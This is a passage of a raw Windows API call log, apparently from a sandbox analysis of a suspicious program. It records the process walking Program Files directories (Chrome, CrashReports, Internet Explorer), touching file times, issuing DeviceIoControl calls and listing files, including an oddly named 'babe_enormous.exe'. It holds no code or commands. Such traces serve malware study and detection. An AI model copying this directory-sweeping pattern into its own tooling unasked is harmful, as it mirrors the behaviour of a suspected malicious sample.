nFileSizeLow=0x0)) returned 1 [0087.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.893] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.893] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.893] NtClose (Handle=0x124) returned 0x0 [0087.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd88 [0087.894] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.894] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.894] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="")) returned 1 [0087.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306ee0 [0087.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc9a8 [0087.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13070f0 [0087.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.896] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="")) returned 0 [0087.897] GetLastError () returned 0x12 [0087.897] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0087.897] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.897] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.897] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="")) returned 1 [0087.897] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="")) returned 0 [0087.897] GetLastError () returned 0x12 [0087.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd88) returned 1 [0087.897] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1306ee0) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.898] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="")) returned 0 [0087.898] GetLastError () returned 0x12 [0087.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.898] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.899] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="")) returned 0 [0087.899] GetLastError () returned 0x12 [0087.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.899] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0087.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.899] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="")) returned 1 [0087.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports" (normalized: "c:\\program files (x86)\\google\\crashreports"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\CrashReports" (normalized: "c:\\program files (x86)\\google\\crashreports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0087.900] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.900] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.901] NtClose (Handle=0x168) returned 0x0 [0087.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0087.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.902] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.902] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.902] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.902] GetLastError () returned 0x12 [0087.902] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0087.902] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.902] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.902] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.902] GetLastError () returned 0x12 [0087.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.902] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0087.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.903] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="")) returned 0 [0087.903] GetLastError () returned 0x12 [0087.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0087.903] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0087.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0087.904] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f9ad250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9ad250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0087.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0087.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer" (normalized: "c:\\program files (x86)\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f9ad250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9ad250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer" (normalized: "c:\\program files (x86)\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.904] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0087.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.905] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0087.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.905] NtClose (Handle=0x180) returned 0x0 [0087.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0087.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0087.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0087.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0087.906] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0087.906] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f9ad250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9ad250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.906] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a7ba820, ftCreationTime.dwHighDateTime=0x1d55f30, ftLastAccessTime.dwLowDateTime=0x1cbce260, ftLastAccessTime.dwHighDateTime=0x1d5aa3f, ftLastWriteTime.dwLowDateTime=0x1cbce260, ftLastWriteTime.dwHighDateTime=0x1d5aa3f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="babe_enormous.exe", cAlternateFileName="")) returned 1 [0087.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.908] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.908] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0087.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.909] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be033e8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2be033e8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x90894420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0087.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.910] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f46f7c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xd7f46f7c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xd7f6d0dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0087.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc9c8 [0087.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0087.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8400) returned 0x1322698 [0087.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0087.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.913] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22549a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22549a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb22a0c69, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0087.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.914] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22ecf2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22ecf2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23391ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0087.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 